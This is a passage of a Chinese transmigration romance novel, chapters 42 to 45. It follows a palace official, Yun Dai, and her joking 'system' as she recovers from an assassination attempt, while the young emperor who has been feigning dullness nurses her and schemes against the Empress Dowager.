暗卫将男人的马车处理干净,再将云黛与男人打斗的痕迹都抹除,回去的路上血腥味极重,暗卫将偷袭的黑衣人杀了,在马车外汇报情况。 骆明烛静静听着,却叫马车驶向丞相府。 苏丞相见到骆明烛时,惊讶过后,点了头,“陛下终于肯露面了?” 骆明烛站在他面前,面若冰霜,直接说明来意:“她与你说的,现在该答应了?” 苏丞相心惊,心道那云尚仪与骆明烛关系果然不浅,她竟然能使骆明烛出面,这么多年的伪装,为她一人破例。 “臣,定当为陛下效力!” 苏丞相一掀衣袍,抬手作揖,面朝骆明烛跪拜。 “你知道该怎么做。” 骆明烛很快离开。 苏丞相起身,遥望皇宫方向,最终是舒出一口气。先前不站队,是为了试探骆明烛究竟是否像他表面上看起来那般愚钝,若他是个朽木,那就没必要拥护他。 但如今看来,骆明烛表面愚钝,实际藏拙,蛰伏多年,今日倒是肯露出真面目。 不过似乎是为了一女子…… 苏丞相皱着眉,回想今日与云黛见面时交谈,眉头舒展开来。 “此女非池中之物啊!” 感叹一声,苏丞相仰天长啸,开始筹划如何帮助骆明烛夺回权力。 骆明烛没有带云黛回宫,而是去了一处隐蔽宅院,一绿衣公子为云黛诊治过后,朝骆明烛道:“她伤得不轻,得好好修养,最近一段时日最好不要说话。” 骆明烛点了头,直接让他出去。 “嘿,我刚给你瞧完人,你就赶我走,见色忘友。” 骆明烛只给他一个森冷的眼神,剩下的他自己体会。 “行行行,我走,不打扰你看你心上人。” 绿衣公子哎呦一声,快步出去,还贴心地带上了门。 屋内安静下来,骆明烛静静望着床上的人,慢慢靠近,坐在床沿上,拾起她的手,握在掌心。 “是孤不好,没有保护好黛姐姐。” 他将自己的脸贴在云黛掌心,蹭了蹭,双眼一眨也不眨地望着她。 “若是孤来晚一步,就听不到黛姐姐的声音了。” “黛姐姐会怪孤吗?” 温凉的掌心逐渐湿润,那双好看的眼就这么睁着,晶莹的泪珠滚落,顺着她手掌的纹路一点点往下滑,砸在被褥上。 骆明烛不懂自己现在的感觉,很急躁,很想找什么东西发泄,很想让面前的人醒来,很想告诉她,他在意她。 但她一动不动,虽然现在已经是安全的,但他还是没有办法安静下来。 因为他还没有看到她醒来。 “母后该是威胁了黛姐姐很多次吧。”他眨了一下眼,眼泪珠子就这么噼里啪啦掉下来,弄得她的手湿了一大片。 “黛姐姐很少与孤说呢。” 说着说着,他又开始难过:“黛姐姐不相信孤,也不在意孤,所以才不和孤说。” 云黛要是醒来,听到他这么说,定然会跳脚, 她根本没这么想。要是不在意他,怎么可能会大费周章去拉拢苏丞相。 “不过没关系,待孤杀了母后,黛姐姐就不用怕了。” 他又笑了起来,带着对未来的期待,期待她能夸自己。 骆明烛说了很多话,但没有得到一句回应,他托着她的手,忽地一句话不说,就这么静静望着她。 那眼神,就跟看她已经死了一样。 原本明亮的眸子黯淡下去,又被泪水盈满。 他再也没有说话,只看着她,仿佛感觉不到疲倦似的,保持着托她手的姿势,一动不动。 时间缓缓流逝,房间内的火烛越来越暗,骆明烛眨了一下眼,眼前视线重新清晰起来。纤长的眼睫扇动了两下,泪珠就这么砸在她掌心。 “怎么哭了?”沙哑的声音响起. 骆明烛愣了,眼睫一颤,缓缓张大。 云黛第一次看到骆明烛哭成这样,像是被一盆水浇在脸上,到处都是泪痕。 刚开口,嗓子冒烟,咳嗽一声,还想说话时,人被猛地抱住。 “孤以为再也见不到黛姐姐了!” 云黛傻眼了,第一次被人扑,他整个人压在她身上,压得肺疼。 “我没死——” 话说不出来,捂着自己嗓子,干得要命,疼得要命。 骆明烛似乎察觉到她很疼,端来早就准备好的茶,亲自喂给她喝。 云黛刚醒来,脑子昏昏沉沉,没有意识到是他在喂自己,大口大口喝完,顿时感觉到如同新生,等她发现是骆明烛在喂自己时,他已经将碗放回去,问她现在觉得怎么样了。 刚说了两个字,就被他捂住嘴,不让说了。 “黛姐姐最近一月都不要说话,你嗓子受了伤,不可以说话。” 云黛哦了一声,被他瞪了一眼,责备道:“黛姐姐不听话。” 云黛:“???” 我没有! 系统在这个时候突然冒出来:“宿主,你吓死我了!我还以为你要噶了!” “呸,尽说些晦气话。” 云黛没好气地说了一句,还以为这次系统会反驳回来,没想到系统哭成个泪人,搞得她都不好意思了。 “宿主,你是不知道我有多担心你,你要是死了,我就不找其他宿主了。” 云黛面无表情戳穿它:“我看你是任务失败,找不到下一任宿主。” 系统嘿嘿一笑,不好意思道:“被你看穿了。” “小样,我还能不知道你。” 云黛搁这和系统斗嘴,骆明烛静静望着她发呆的模样,忽地开口:“黛姐姐在想什么?” “没什么,”云黛猛地回神,心一颤,被骆明烛这句话吓了个半死,差点以为系统被发现了,“没有,我只是在想这次命大,差点被杀了。” 云黛确实没想到自己还能活着,看着骆明烛的眼神里带着疑惑:“是你救了我?” 骆明烛却没有回答,眨了眨眼,将眼泪挤出来,说:“黛姐姐不该说话,好些休息吧。” 说完,他直接出去了。 云黛眨了眨眼,不明所以,“他怎么就跑了?” 系统也不知道:“可能因为他不高兴?” 云黛不知道他为什么不高兴,她又没死,就是受了点伤,嗓子很快就能好,他为什么不高兴。 “说起来,他怎么知道我遇到危险了?” 云黛想起来,一阵后怕,要不是骆明烛出现得及时,那她就要死了。 “这么说,他今天在跟踪我?”云黛想来想去,也想不到骆明烛跟踪自己的原因,想了想,打算出去看看情况,也不知道现在在哪。 云黛下了床,慢慢走到门口,刚想开门,门先开了,一眼看到骆明烛端着碗进来。 “黛姐姐要去哪?” 云黛尴尬笑了笑,刚想说话,就被骆明烛勒令禁止开口。 “黛姐姐又忘了孤说的话了?” 云黛确实忘了,主要是现在脑子里很想知道骆明烛为什么会知道自己在哪,还恰好救了自己。 她乖乖走回去坐好,一碗药落入视线,还没喝呢,就觉得苦。 “喝了。” 声音有些冷,云黛不爱听他用这种语调和自己说话,但是这个时候莫名觉得心虚,接过来,一口喝了。 碗被他拿走,嘴里苦得眉头都皱起来。 “蜜饯,你喜欢的口味。” 云黛惊讶,仰头看他,只见少年天子皱眉望过来,眼里满满都是关心。 “你——” “别说话。” 云黛立刻闭嘴不说了。 接过蜜饯放到嘴里,立刻甜滋滋的。 骆明烛还挺会的嘛,知道药苦,给她准备蜜饯。 嘴里很甜,但是很快云黛甜不出来了。骆明烛开始问她为什么要去见苏丞相。 她震惊望过去,这人果然知道她去了哪! “黛姐姐不用开口说,孤只是问问。” 骆明烛微微一笑,云黛却觉得这笑有点恐怖。 坏了,他该不是要借机罚她吧! 第43章 云黛觉得自己能说话,而且现在也很想说话,可偏偏一说话嗓子就疼,话一多就发不出声音,而且骆明烛还不让她说话。 这样叫她怎么把为什么去见苏丞相的原因说给骆明烛听? 往后边缩了缩,朝他笑了笑,笑容还没收回去,就听骆明烛幽幽出声:“黛姐姐还能笑得出来,看来嗓子应该是不疼,也不觉得自己遇到了危险。” 云黛一个激灵,想起来有件事没说,赶紧开口:“太后要杀我!” 回应她的只有骆明烛平静的眼神。 “?”云黛哑着声音,不怕疼地继续说:“你怎么不说话?” 骆明烛依旧不说话,听着她都快辨认不出原本音色的声音,看着她此刻没有一丁点后怕的神情,忽地逼近她,指尖抚上她被掐得青紫的脖颈肌肤,声音很轻很轻。 “黛姐姐不觉得疼吗?” 他抚摸的力道很轻,像根羽毛落在脖颈上,不觉得疼,反而有点痒。 云黛不适地抖了抖,没抖得掉这根羽毛,声音结巴:“不,不觉得啊……” 他抚摸的范围逐渐扩大,从脖颈左侧滑到右侧,再缓缓往下,碰到她凹陷的锁骨,幽深的视线仔仔细细描摹她脖颈上的青紫,将她的伤深深刻在脑海里。 “但孤觉得疼。” 云黛眨了眨眼,不明白他的意思。低头一看,他手指还抵着自己的脖颈,缓缓绕圈,指腹划过的地方带起绵绵酥意,是她鲜少有过的感觉,且次次产生这种感觉,都是骆明烛带来的。 她忽然反应很大地抬起手,装作不小心挥开他的手,往边上一挪,双手拢紧衣衫,想说话,一点声音没发出来。 这下好了,不用说话了。 云黛双手扣着衣裳,有点不敢看骆明烛,心跳被他方才的举动搅乱,无法恢复正常。 “系统,这小子是不是去进修了,他怎么突然这么会。” 系统摸不着头脑,“他不是一直都这样吗?” 云黛反驳:“没有!他以前不是这样的,他以前可乖了,根本不会动手动脚。” “哦。”如果系统有脸的话,它现在一定是冷着脸给云黛翻了个白眼,“他要是乖,就不会偷亲你。” 云黛:“……” 她发现自己现在是说不过系统了,关键是系统说的是她没法反驳的事实。 虽然与系统说话用不上嗓子,但费脑子,还容易被气到。所以她把系统关小黑屋了,不想和系统说话。 悄咪咪瞅了骆明烛一眼,他就站在边上,眼睛一眨也不眨地望着她。 心口莫名发烫,收回视线,装作没看他,挺直背脊,干咳一声。 做完这些小动作,云黛猛地回神,怎么现在她在骆明烛面前心虚成这样了?这不像她啊。 想了想,云黛将自己这些动作解释为自己受了伤,脑子晕晕的,没反应过来。 骆明烛冷不丁开口:“黛姐姐说母后要杀你?” 云黛立刻点头,转身面向他,使劲点头:“对!”她的“对”字只有个嘴型,没发出声音。 她慌忙捂住自己脖颈,惊恐看骆明烛,在心底发出声音:“陛下,我的嗓子!” 陛下听不见她心底的声音,但也能看出她嗓子不对劲,朝外头唤了一声,很快房间门被推开,一公子走进 来。 云黛双眼一亮,嘿呦,是没见过的新角色。 骆明烛看到了她盯着来人发亮的眼,面不改色地移了一步,挡住她视线,面向来人,道:“她发不出声音。” 邱鸿没发现骆明烛的动作有异,来到云黛面前,叫她张开口,仔细看了一番,道:“不是叮嘱过叫她不要说话吗?说了?” 云黛老老实实点头,觉得这人有点凶,还是骆明烛好。 “本来一月便可恢复,现在这么一说,两个月都没法好了!” 云黛眨了眨眼,转头看骆明烛,指着自己嗓子,露出疑问的表情。 她想问:他说的是真的? 骆明烛挑了眉梢,冲她点头。 云黛失去了所有的力气,两个月不能说话,这不是要憋死她? 幽怨后悔的表情落到骆明烛眼中,她哭,他却笑。含着笑意的眼望着她,专注到似乎没有发现身边还有个人。 邱鸿感觉到这两人之间不一般的氛围,很有兴致地打量这两人。骆明烛为人他是知道的,不可能轻易对谁动心,那就是这位姑娘身上有过人之处,吸引了他? 见云黛眼巴巴望着自己,他还没说话呢,就感觉到身侧寒意,默默往边上退了几步,保持距离,咳了一声,说:“有我在,你这嗓子,很快便能好。” 云黛一喜,脱口而出:“真的?” 然而只发出了气音。 邱鸿忍不住笑道:“真的。” 话刚说完,就觉得身体被一股寒意包围,连忙找借口离开。再待下去,就要被骆明烛冻成冰雕了。 云黛想着自己的嗓子出神,保持着看邱鸿离开的姿势,听到骆明烛问自己:“黛姐姐喜欢他?” 她还没反应过来他问的是什么话,想了半天,一个激灵站起来,使劲摇头。 开什么玩笑,她怎么可能刚见到人家,就喜欢上了? 系统蛐蛐她:“也不知道是谁,刚见到骆明烛,就盯着他的脸看,还做了春梦。” 云黛很想打系统一巴掌,但鉴于她是个肚量很大的人,这次就放过系统。 她想说话,但发不出声音,还急得咳了好几下,嗓子疼得眼泪都出来了。 方直起身,茶盏递到面前,骆明烛的声音随之而来:“喝了,润润嗓子。” 她连谢谢的声音都发不出来,接过来一口喝完,温度刚刚好,喝下去瞬间舒服多了,刚要讲话,抬头就见他歪着脑袋看自己,神情表明了在说:“你再说,嗓子别想要了。” 云黛将茶盏放到他手里,闭上了嘴,倏地想起之前说的话骆明烛还没回答自己,又朝他张口。 他像是知道她心中所想似的,一出口就是她要问的话。 “黛姐姐是想说,母后想杀你?” 云黛立刻点头,想把差点被杀的遭遇说给他听,奈何嗓子不给力,一点声音都发不出来,环顾周围,又没看见纸笔,急得给他打手势。 系统不敢看,“你在和骆明烛玩你画我猜?” 云黛没好气说:“我在办正经事,你别捣乱。” “行,你继续。”系统又回了小黑屋。 云黛比划半天也不见骆明烛说话,放到给自己弄累了,停下来看着他,不再说话。 此时骆明烛才开口:“孤知道了。” 云黛瞪大眼,然后呢? 然后就没有然后了,骆明烛让她好好休息,转身就出了房间。 云黛盯着他离开的方向好一会,吹起唇边的发丝,有种告状了还不被重视的憋屈感。 哼,早知道不帮他拉拢苏丞相了,人没拉拢到,还差点丢了小命。 呜呜呜。 掀开被褥倒回床上,刚闭上眼睛,刷一下张开,一骨碌爬起来,盯着关闭的门看,张开口发出无声的尖叫。 最重要的一点她居然忘了问。 骆明烛究竟是怎么知道她出事的!他不是在宫里吗?什么时候出来的? “系统,骆明烛怎么知道我在哪的?” “恭喜宿主,你发现了盲点。” 云黛真想把这插科打诨的系统丢出去,“别说废话,快告诉我他怎么来的?” “我不知道,宿主你晕过去了,我没看见他怎么来的。” “你就不知道装个监控?” “装监控要钱,我没有。” 云黛:“……” 行吧,等骆明烛来了再问他。 空了的茶盏就在桌上,她盯着看了会,在心里想,骆明烛身上应该有她不知道的秘密,否则怎么可能就这么巧,救了她。 想着想着,少年天子含泪的眼占据心神,云黛顿了会,在床上打了个滚,闷着被褥笑了出来。 你别说,骆明烛哭起来真好看。 就是吧,她也不好意思让骆明烛天天哭给自己看。 云黛躺了回去,一点也不怕会被袁络仪发现自己没被杀死。 一个人被威胁的时候,她肯定会怕,但是多了一个和自己处境一样的,那就没什么好怕了,多一个说话,多一个人分担恐惧。 云黛睡醒的时候,天光大亮,一起身就见着边上坐着的人,差点被吓着。 “陛下,你什么时候来的——” 她捂住嗓子,尝试发出声音,除了一开始能说出“陛下”,嗓子就罢工,什么声音都发不出来,但比昨晚好了些,没那么疼了。 骆明烛看过来,声音沙哑的人变成了他。 “黛姐姐可有哪里不适?” 云黛摇头,随即指着自己嗓子。少年天子看了会,起身出去。不过一会,端着药进来。 走近了便能闻到苦味,和昨晚的味道一模一样。 骆明烛一递过来,云黛眉头紧皱,往后缩,摇头,不想喝。 他另一只手摊开,掌心两颗蜜饯,甜味立刻盖住药的苦涩。 “孤又寻了两种口味,黛姐姐尝尝看?” 云黛觉得自己不该被区区两颗蜜饯迷了眼,但架不住这蜜饯味道真的不错,往前挪了些距离,伸手去拿。 刚想把两颗都拿走,骆明烛手一收,看穿了她的心思。 “黛姐姐须得将药喝下,才能吃。” 云黛觉得自己被骆明烛当成小孩了,她喝药才不用蜜饯。 接过碗把药一骨碌喝完,刚才的雄心壮志立刻被发苦的药汁驱散,握着骆明烛的手示意他给自己蜜饯。 骆明烛张开手,云黛苦得根本等不了,直接就着他的手吃了蜜饯,唇瓣擦过他手心,垂下的长睫一颤,立刻收回手,虚虚握拢,背在身后。 云黛吃到蜜饯,盖过嘴里的苦味,满意地抬头看他。 却见着少年天子红了耳垂,失神地望着她。 云黛眨了眨眼,不明所以。 他怎么了? 第44章 他怎么看起来怪怪的? 云黛探脑袋凑近他,蜜饯在嘴里化开,甜甜的,跟他现在给她的感觉一样,很少见到他耳朵红。 他是在害羞吗? “陛下?”发出的依旧是气音。 骆明烛嗯了一声,虚虚收拢的手张开,但依旧背在身后,话题忽然转到袁络仪身上。 “今日回去,母后问起来,你只说在丞相府歇了一夜,不曾遇到刺杀。” 云黛点头,知道不能说实话,袁络仪要杀她,这次失败,定然还会再找机会,她这一回去,就是去狼窝,根本不安全。 而且她还有个疑问,骆明烛不也出来了,袁络仪不知道吗? 云黛狐疑望着他,虽然很感谢他救了自己,但很奇怪他的举动,他现在看起来气质与先前完全不一样,之前明明这人看着乖乖的,动不动就哭,现在也动不动就哭。 难道是,骆明烛表面的愚笨是装出来的? “陛下,你……”嘴里想问的话在听到自己的气声后吞了回去,一个字都说不出来,她还怎么问! 云黛气鼓鼓插兜,不想说话了。 反正骆明烛要是藏拙,那不是更好?她就不用那么辛苦帮骆明烛拉拢朝臣。 “黛姐姐再休息一 个时辰,会有人来接你回宫。” 云黛一把抓住他的手,什么意思,他要走? “孤有事要处理。”骆明烛晃了晃被她抓住的手,她没松开,异样的感觉从她握住的那处肌肤蔓延全身,他反手握住云黛,朝她稍稍笑了笑,“黛姐姐不用担心。” 随后抽出手,转身离开,云黛想说话都没机会况且她还说不出来。 “系统,你有没有觉得骆明烛在瞒着我什么?” 系统回应她:“是的。” “他瞒了我什么?” 系统:“我不造哇。” 云黛:“……” 想打死系统。 “你不知道你说什么是的。” “那不是你问我吗?我也觉得骆明烛瞒了你事,才说是的。你要是想知道,你去问问他。” 云黛:“我怎么觉得问了他,他也不会说的。” 挠了挠脑袋,嘴里的蜜饯化没了,还想吃。她躺了回去,望着关上的门,嘟囔一句:“好小子,把我骗了过去,小h文果然害人不浅。” 系统莫名心虚。 …… 邱鸿送走骆明烛,遥望云黛待的房间,摇了摇头,低叹一声。 马车内骆明烛正看着暗卫查来的密报,一名暗卫跪地汇报情况。 “袁络仪已经在查相府,陛下昨晚命令属下告知苏丞相的事,苏丞相已经知晓,他会全力配合陛下。” 骆明烛没有说话,暗卫继续道:“属下在京郊一座庄子查到允王的人马,最近几日运输大量兵器进入,属下推断允王很快就要动手。” “继续监察。” 暗卫说了是,撩开车帘,闪身离开。 骆明烛本不想这么快动手,不过某些人胆子大到动他在意的人,他只好动手,将那群人妄图杀他的心思扼杀在摇篮里。 这么多年,对他做的一切,是时候还回去了。 骆明烛说的人来接时,云黛差点就要睡着了,一听到是苏丞相府里的人,诧异又了然。 收拾好自己去马车那,一撩开车帘,见着里头熟悉的脸,惊讶不已。 她朝后方站着的邱鸿摆了手,上了马车,问道:“苏小姐怎么亲自来了?”可惜的是她没能说出声音来。 马车里坐着的正是苏棠,她朝云黛微微一笑,从口型猜到云黛问的话,说:“家父命我来接尚仪大人。” 云黛哦一声,心道骆明烛心还挺细。越发觉得骆明烛定是隐瞒了她什么,这人看着根本就不是表面那么单纯! “系统,我被骗了!骆明烛就是个小骗子!” “哦。”系统心虚。 好在云黛没有再和它讨论骆明烛,系统悄悄下线。 “尚仪大人嗓子可好了些?”苏棠关切问道,“我带了纸笔,尚仪大人要说什么,写出来便好。” 云黛一喜,接过她递过来的纸笔,迅速写下自己要说的话,写得有些急,字连在一块,但很好辨认。 “尚仪大人要问我怎么知道大人的嗓子不好?”苏棠笑了出来,声音柔柔的,很好听,“我来之前,父亲特地嘱咐过,许是那位未露面的人告知的家父。” 云黛点了头,那就是骆明烛说的,他还挺贴心。 她又问了苏棠几句话,她在相府过夜的假消息昨晚已经传入宫中,袁络仪倒是没有反应,反正骆明烛都已经把事情处理好了,大不了回去被袁络仪问几句。 袁络仪连杀她都是秘密进行,断然不敢暴露,到时候她在袁络仪面前装傻,说不知道发生了什么就好。 不过这次回去,定然比之前还要危险。 苏棠让她不用担心,安慰她好几句,声音好听,人又美,云黛听着听着,想睡觉。 本来昏昏欲睡,听到苏棠说到陛下两个字时,刷的一下睁开眼,听清了后面的话:“父亲前几日上朝时,太后说是要为陛下选妃,这事大人知道吗?” 云黛坐直了身子,摇头,她不知道这事。 苏棠补充道:“太后似乎还有为陛下挑选皇后的意思,尚仪大人你可有人选?” 云黛缓缓睁大眼,直直望着苏棠,心道人选就在自己面前。 莫名其妙心里酸涩,不想继续这个话题。 苏棠看出她心情不大好,笑道:“那日宴会,我见着陛下与大人之间互动很是亲密,想来陛下应该是……” 后面的话她没说,是个人都能听出她话里意思,偏偏云黛脑子里乱七八糟地想原书剧情,根本没听出来。 苏棠本想点她一句,但见她这样,告诉她陛下对她有感情,她也不会信,不如他们自己弄清楚自己的感情。 换了个话题,云黛偶尔应几句,兴致不高。 苏棠渐渐收了话,瞧着她在纸上来回画圈,含笑看她。看起来尚仪大人对陛下也有感情,只不过两人之间的那层膜还没有戳破。 “尚仪大人不用忧虑,陛下会处理好一切。” 云黛愣愣点头,一抬眼就瞧见苏棠笑着看自己,越发觉得她确实很适合当骆明烛的皇后,温婉明媚,善解人意,要是她,她也选苏棠。 不记得之前有没有对苏棠说过她会当骆明烛的皇后,这个时候她没心情再说一遍了。 难受。 云黛回宫后,直接被请到袁络仪那,犀利的目光上上下下打量她,半晌才问她:“嗓子伤了?” 路上已经想好怎么回答,只说她不小心勒到脖颈,上头的掐痕已经找人掩盖了,不湿水擦,看不出来。 袁络仪哼笑一声,看不出来有没有信。 “心该收收了,哀家叫你做的事,几个月过去,怎么没瞧见一点进展?” 云黛说不了话,只得用五官表达自己想说的话,袁络仪似乎看得心烦,摆摆手,叫她走。 云黛狠狠松了口气,又躲过一劫,真不容易。 她没有直接回自己房间,去了乾坤宫,一进去便瞧见小福子,小福子见她来,欣喜不已,连连说了好几句话,等到发现她说不了话时,惊讶道:“你嗓子坏了?” 云黛被他拦着路,哪都去不了,瞪着他,哼了一声,没好气点头。 昨晚要不是你家陛下,我就要死啦,你就见不到我啦! “哎呦,你这怎么伤的?陛下知道吗?”小福子一拍脑门,“你昨日在相府歇了一晚,陛下该是不知道。” 云黛忍住笑,绕过小福子,进寝殿。 “系统,骆明烛可以啊,把小福子都骗过去了。”不得不感叹一句,骆明烛做事确实很缜密。顺便再蛐蛐他,“这小子到底瞒了我多少事情。” 寝殿里没人,她特地去屏风后看了,被子叠得整整齐齐,愣是没有他人。 奇怪,去哪了。 跟上来的小福子冲她说:“陛下今日一早去书房温习功课了,你要找陛下,得去书房。” 云黛掉头就走。 一早?他不是在郊外院落里吗?怎么会在书房? 她还真在书房见到骆明烛了。 他确实在里头温习功课,见她来,抬头望过来。 云黛本来想问他怎么骗过袁络仪的,莫名其妙就想到苏棠说袁络仪要帮他选妃,忽然就不想说了,掉头就走。 小福子刚洗好葡萄送来,就撞见她离开,朝她喊了一声:“你这就走啦?” 他没有得到回答,不解,“方才不还好好的,怎的又气冲冲地走了?” 小福子搞不明白,把葡萄端进去放在桌上,本想问问方才发生了什么,见骆明烛在温习功课,就没有问。 云黛回去后趴在床上,什么都提不起兴致,也不想和系统说话,浑身不得劲。 这么一躺,睡了过去,醒来时天都黑了。 肚子有点饿,云黛爬起来,刚要去觅食,一转眼看到边上坐着的人,吓了一跳。 “你干嘛!” 可能是喝的药起了作用,也许是长时间没说话嗓子负担轻,这次发出了声音。 那人待她平复过来,才说话:“孤担心黛姐姐,便来见你。” 云黛拍拍胸口,吓得不轻。 “你来就来,不要吓人啊。” 少年天子歪头,眨了眨眼,很是无辜。 “是黛姐姐没有发现孤。” “我睡着了,我怎么发现你?” 云黛缓过来,发现自己能说话了,一下跳起来,咳了几声 ,压低声音对骆明烛说:“你什么时候来的?” 恢复活力的她比白日里更跳脱,骆明烛眸中带笑,回答她:“刚来,黛姐姐便醒了。” 骗她的,他已经在这看她睡觉将近半个时辰。 “黛姐姐还要喝两日药,孤已经叫人去煮了,待会便能喝。” 云黛垮了脸,小声问他:“我能不喝吗?” 少年天子在温暖的烛光中扬起笑。 云黛期待地张大眼,却听他说:“不能。” 第45章 喝完苦得发涩的药,云黛就盯着骆明烛看。 骆明烛从她眼里看出了她想要的,摊开手心,油纸包裹着蜜饯,份量还挺多。 “都是给我的?”云黛挑了一颗,听到骆明烛嗯了一声,把蜜饯都拿过来,不由得好奇问:“你从哪弄来的,御膳房的?” “嗯。” 云黛抖了抖手,蜜饯碰撞,声音清脆。看在他给自己蜜饯的份上,就不追究他装乖骗自己了 犹豫了一下,还是忍不住想问。 去把门关上,小声问他:“太后应该不知道你现在的情况吧?” 骆明烛挑眉,明知故问:“哪种情况?” 云黛瞅着他,在骆明烛面前,她从不会感到拘束,也不会像在袁络仪面前那样害怕。哼了一声,没好气说:“小骗子。” 骆明烛听着她似是撒娇一般的语气,手心再度浮起她的唇碰上来的感觉,柔软,像她现在说的话一样。 他没有接云黛的话。 督促她喝药的事已经做完,却没有走,身体与意识都想继续留在她身边。 “黛姐姐明日会去孤那吗?” 云黛刚要说去,今日与苏棠说的话骤然重现,张开的唇抿紧,没有说话。 原书里苏棠会成为骆明烛的皇后,还会有很多妃子,她还是不要和骆明烛太亲密了。 “不去了吧……” “为何不去?”察觉到她情绪瞬间失落,不知她是为何失落,骆明烛定定望着她,似乎要在她脸上找到答案。 云黛支支吾吾说不出来为什么,只知道自己不想去,一想到他日后要纳那么多妃子,心里就堵得慌。 心烦意乱地转移话题:“陛下来我这,太后知道了,估计不太高兴——” 她转身背对他,看到桌上他带来的蜜饯,方才嘴里吃下去的蜜饯一点甜味都没有了。 “黛姐姐累了?” 云黛含糊嗯声,借这个理由赶骆明烛走,他在这,她心乱得很。 骆明烛只说了让她好好休息,转身离开。 听到门关上的声音,云黛猛地一转身,半晌才说出一句话:“叫他走,他真走啊!” 哼!也不知道哄哄她! 云黛气鼓鼓扑到床上,忽地又爬起来,拿了颗蜜饯塞嘴里,吃着骆明烛带来的东西,还要骂他。 “小骗子!小骗子小骗子!” 本来只是骂两句就消气的,忽地想到之前自己教他那些东西,还被他偷袭亲到,一愣,一下站起来往外冲,开了门却没见到人,要说的话就这么咽了回去。 这个小骗子不会是知道那是什么意思,故意装作什么都不懂来骗她吧! 那真的是很坏了! 云黛又被气到了,一关门,倒床上把被褥当成骆明烛打。 “骗子!” 骆明烛去查了自己走后云黛与哪些人接触,又说了什么话,听到暗卫说苏棠对云黛提起过他纳妃,顿时了然。 她不知从哪得来的谣言,一边说贺燕林会成为他的妃子,一边又说他的皇后会是苏棠。 所以她是因为这事不愿见他? “小福子。” 听到骆明烛唤自己,小福子连忙进去,“陛下有何吩咐?” 骆明烛却让他退下。 小福子摸不着头脑,喊他来什么都不说,又让他走,这是干嘛呢。 还有云黛,也是奇怪得很。 小福子刚出去,骆明烛面前就落下一黑衣暗卫,将密件亲自交给他后离开。 骆明烛展开密件,浏览过后,讥笑,“这就按捺不住了。” 密件被烧毁,缕缕灰烬落地,伴随一声轻微的咔嚓声。 自从那晚见过骆明烛后,云黛已经三天没有去乾坤宫,她现在已经不想管袁络仪威不威胁自己,就是莫名其妙不想见到骆明烛。 以至于绿翘提起骆明烛时,她直接打岔,叫绿翘不要说。 绿翘哦了一声,不明白她为什么突然反应这么大,前些日子她还听云黛念叨陛下呢,怎的几日功夫,云黛就像是与陛下吵了一架似的。 “太后好像很快就要给陛下选妃了,已经叫六宫去准备了,这次选秀,太后很重视。” 云黛震惊,这是什么时候的事,她怎么不知道? “什么时候开始?” 绿翘摇头,说不知道,“奴婢也是听别的宫里宫女说的,那宫女也不大清楚。” 云黛发了好一会呆,问系统:“袁络仪这么快为骆明烛选妃,是不是就快要杀我了?” 系统提醒她:“你忘了袁络仪已经派人杀你了吗?” “哦,我没死成。” 云黛不信袁络仪会放过自己,上次派人杀她没成功,这几日过去了,竟然一点动静都没有,真是奇怪,难道是为了给骆明烛选妃,忘了她了? 想了想,打算出去探听消息。 …… 相府内,骆明烛与苏丞相商讨完对策,吩咐他下一步行动后,忽地提起苏棠。 “令嫒似乎与户部尚书之子关系不一般?” 苏丞相惊觉面前的天子手段了得,自家女儿只是与户部尚书家的老幺走得近了些,便被他知晓,思及这几日袁络仪在朝堂上提出的选秀,明白骆明烛为何会问这一句。 他一掀衣摆,朝骆明烛跪下,诚恳道:“请陛下放心,犬女已心有所属,定然不会参与此次选秀。” 况且还无法保证骆明烛真能顺利扳倒袁络仪,他更不能将自己的女儿送入宫中,万一骆明烛失败,苏棠定会被牵连,是以他是绝不可能让苏棠成为骆明烛的妃子。 “爱卿起来罢。” 骆明烛稍稍一挥袖,待苏丞相起身,冷不丁又道:“苏相该是知道孤不喜背叛,你与允王曾经共同侍奉一主,这么多年过去,当是已经断干净了?” 苏丞相当即表明诚心,越发地惊叹骆明烛的手段,这么多年,外界根本不知他们口中愚笨的少年天子,实际上是多么狠辣,若非亲眼见到他处置允王的暗线,他也会被骆明烛这张人畜无害的脸骗了。 “那便好。” …… 云黛问出来了,最快七日后选秀,最慢也是这个月底。 这么一问,更烦了,简直是自己给自己找不愉快。 闷闷不乐走回去,路上遇到宫女问好她都没听见,一回到房间就关上门,谁知一抬头,就见着主人公站在面前,还朝她笑。 笑什么笑! 云黛一个箭步冲上去,“你又不经过我允许来我房间。” 少年天子笑意不减,问她:“孤不能来吗?” “能!当然能!”整个皇宫都是他的,他想去哪就去哪,她能拦得了? 云黛绕开他,一眼看到桌上不应该出现的东西,愣了,随后翘起嘴角,哼唧唧问他:“这些都是你带来的?” 桌上不仅有她爱吃的菜,还有她吃完没找着代餐的蜜饯,边上放着一盏壶,里头应该是酒。 “黛姐姐喜欢吗?” 云黛挺喜欢的,偶尔来点这样的小惊喜,心情倍好。不过嘛,无事献殷勤,小骗子肯定又做了什么亏心事。 “陛下总是来我这,太后知道了,要说你。” 骆明烛没有回她这句话,让她坐下来,尝尝菜的味道。 云黛是不 会和他客气的,再说这味道确实很香,夹起一颗狮子头咬了一口,好吃得这几天堆积的郁气都被清扫。 “御膳房做的吗?” 骆明烛点头,为她斟酒。 云黛不知道他怎的今日带来了这么多菜,还带了酒,咽下嘴里的食物,刚要说话,他递过来酒樽,接过来放在桌上,张开口要说话,又被骆明烛的话堵住。 “黛姐姐尝尝,甜的,不醉人。” 云黛急着问他话,敷衍地抿了一口,问他:“你今日怎的突然来了?” 骆明烛本要回答,视线被她的唇吸引,浸透过酒液的唇红润,煞是好看。想起了那日晚上马车上的吻,叫他难忘。 “今日是孤的生辰。” 云黛点了头,反应过来,重复一遍:“你的生辰?” 少年天子点头,神情似乎有些落寞。云黛张了张口,想说的话最终化作一句:“生辰快乐。” 骆明烛弯了眼眸,双眼亮晶晶的,好似星星。他说:“谢谢黛姐姐。” 云黛尴尬地抿了口果酿,看着因为一句生辰快乐就高兴起来的人,忽然觉得愧疚,幸好没有用很凶的语气问他那些,不然他又要哭出来。 “我不知道今日是你的生辰,也没有准备礼物,这样吧,你提一个我可以满足的愿望,只要是我能做到的,就答应你。” 骆明烛看她的眸光瞬间幽深,忽地问:“什么都可以吗?” “那当然不行了,得我能做到的,且不能违背我的原则。” 听到这样的限定条件,骆明烛没有失望,眉眼带笑,轻声道:“孤只想黛姐姐今日能陪着孤。” “简单!”云黛还以为他要提比较难完成的愿望呢,只是陪着他,很简单。 